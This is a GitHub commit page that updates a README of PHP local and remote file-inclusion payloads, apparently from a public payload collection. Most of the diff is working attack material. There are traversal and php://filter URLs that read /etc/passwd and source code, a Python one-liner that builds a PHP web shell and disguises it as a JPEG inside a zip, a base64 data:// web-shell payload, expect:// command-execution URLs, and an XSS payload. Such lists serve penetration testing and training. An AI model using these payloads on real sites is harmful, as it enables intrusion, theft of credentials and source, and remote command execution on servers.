Skip to content

Commit

Permalink
Wrapper PHP inclusion updated
Browse files Browse the repository at this point in the history
  • Loading branch information
Swissky committed Jul 2, 2017
1 parent ab63a53 commit a1fbd41
Showing 1 changed file with 16 additions and 5 deletions.
21 changes: 16 additions & 5 deletions PHP include/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,26 +12,37 @@ http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd
```


LFI Wrapper rot13 and base64 - php://filter case insensitive
```
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=php=pHp://FilTer/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
can be chained with a compression wrapper
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```

LFI Wrapper zip

LFI Wrapper ZIP
```python
os.system("echo \"</pre><?php system($_GET['cmd']); ?></pre>\" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php")

http://example.com/index.php?page=zip://shell.jpg%23payload.php
```


RFI Wrapper with "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" payload
RFI Wrapper DATA with "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" payload
```
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
```

RFI Wrapper EXPECT
```
http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls
```


XSS via RFI/LFI with "<<svg<>svg onload=alert(1)>" payload
<svg onload=alert(1)>
Expand All @@ -40,4 +51,4 @@ http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbm
```

## Thanks to
* https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
* https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion

0 comments on commit a1fbd41

Please sign in to comment.